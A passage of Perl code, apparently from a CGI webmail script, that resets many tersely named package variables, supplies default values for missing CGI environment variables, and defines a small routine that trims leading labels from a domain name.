$mailman::mmju = 0; $mailman::iTimeoutDurationInSeconds = 0; $mailman::mmjv = 0;
$mailman::mmho = 0; $mailman::mms = ''; $mailman::mmjw = ''; $mailman::mmjx = '';
$mailman::mmj = ''; $mailman::mmbo = ''; $mailman::mmfu = ''; $mailman::mmw = '';
$mailman::mmx = ''; $mailman::mmaa = ''; $mailman::mmau = ''; $mailman::mmjy = '';
$mailman::mmbq = ''; $mailman::mmjz = ''; $mailman::mmgb = ''; $mailman::mmbp = '';
$mailman::mmcf = ''; $mailman::mmch = ''; $mailman::mmce = ''; $mailman::mmcg = '';
$mailman::mmcd = ''; $mailman::mmbk = ''; $mailman::mmr = ''; $mailman::mmka = '';
$mailman::strLocalScriptLocation = ''; $mailman::strLocalTemplateLocation = '';
$mailman::mmy = ''; $mailman::mmz = ''; $mailman::mmam = ''; $mailman::mmkb = '';
$mailman::mmq = ''; $mailman::mmkc = ''; $mailman::mmkd = ''; $mailman::mmke = '';
$mailman::mmkf = ''; $mailman::mmkg = ''; $mailman::mmkh = ''; $mailman::mmic = '';
$mailman::mmio = ''; $mailman::mmbt = ''; $mailman::mmbr = ''; $mailman::mmbl = '';
$mailman::mmbs = ''; $mailman::mmas = ''; $mailman::mmbn = ''; $mailman::mmki = '';
$mailman::mmkj = ''; $mailman::mmo = '';
unless(defined($ENV{'HTTP_COOKIE'})){$ENV{'HTTP_COOKIE'}='';}
unless(defined($ENV{'HTTP_USER_AGENT'})){$ENV{'HTTP_USER_AGENT'}='Debug';}
unless(defined($ENV{'OS'})){$ENV{'OS'}='';}
unless(defined($ENV{'REMOTE_HOST'})){$ENV{'REMOTE_HOST'}='Debug';}
unless(defined($ENV{'REMOTE_ADDR'})){$ENV{'REMOTE_ADDR'}='Debug';}
unless(defined($ENV{'SCRIPT_NAME'})){$ENV{'SCRIPT_NAME'}='Debug';}
unless(defined($ENV{'SERVER_NAME'})){$ENV{'SERVER_NAME'}='Debug';} }
sub mmmq { my($mmkk) = shift; my($mmd);
for($mmd=0;$mmd<$mailman::iFromDomainTrim;$mmd++) { $mmkk =~ s/^[^\.]+\.(.*)$/$1/;
} return $mmkk; }
